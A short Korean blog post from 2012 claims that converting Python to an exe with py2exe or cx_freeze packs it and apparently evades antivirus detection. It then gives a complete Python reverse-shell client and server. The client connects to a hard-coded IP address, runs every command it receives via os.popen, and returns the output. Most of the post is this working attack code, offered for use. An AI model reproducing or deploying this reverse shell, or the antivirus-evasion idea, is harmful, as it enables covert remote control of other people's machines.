2012.09.25 16:14

파이썬 코딩중 재밌는것은 파이썬코드를 그대로 exe 파일로 변환 시킬수 있는 프로그램(?) 이 있다는 것이다.

하나는 freeze 라는 것이고 (혹은 cx_freeze)  또하나는 py2exe 이다 .

 

한데 재밌는 사실은 이렇게 만들어진 프로그램은 알아서 패킹이 된다는 점이다.

그리고 system call 을 호출시 백신에서 탐지되던 부분도 없어 지는 듯하다.

 

즉 python 으로 리버스커넥션을 짜면 system call 류중 하나로 아쥬 아쥬 심플하게 리버스 커넥션을 구현 할 수 있다.

 

[Client ]

 

import socket
import os


HOST='223.194.105.120'
PORT = 1235
sock =  socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((HOST,PORT))

while 1:
        data = sock.recv(255)
        print data
        p=os.popen(data)
        sock.send("RESULT \n"+p.read())

        p.close()

sock.close()

 

Server

 

import socket
PORT=1235

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind(('',PORT))
sock.listen(5)
conn,client = sock.accept()
print client
while 1:
        input_value = raw_input('>')
        print input_value

        conn.sendall(input_value)
        data = conn.recv(2048)
        print data
sock.close()

 

 

 

 

아래는 결과 화면이다.

 

 

 

 

Posted by k1rha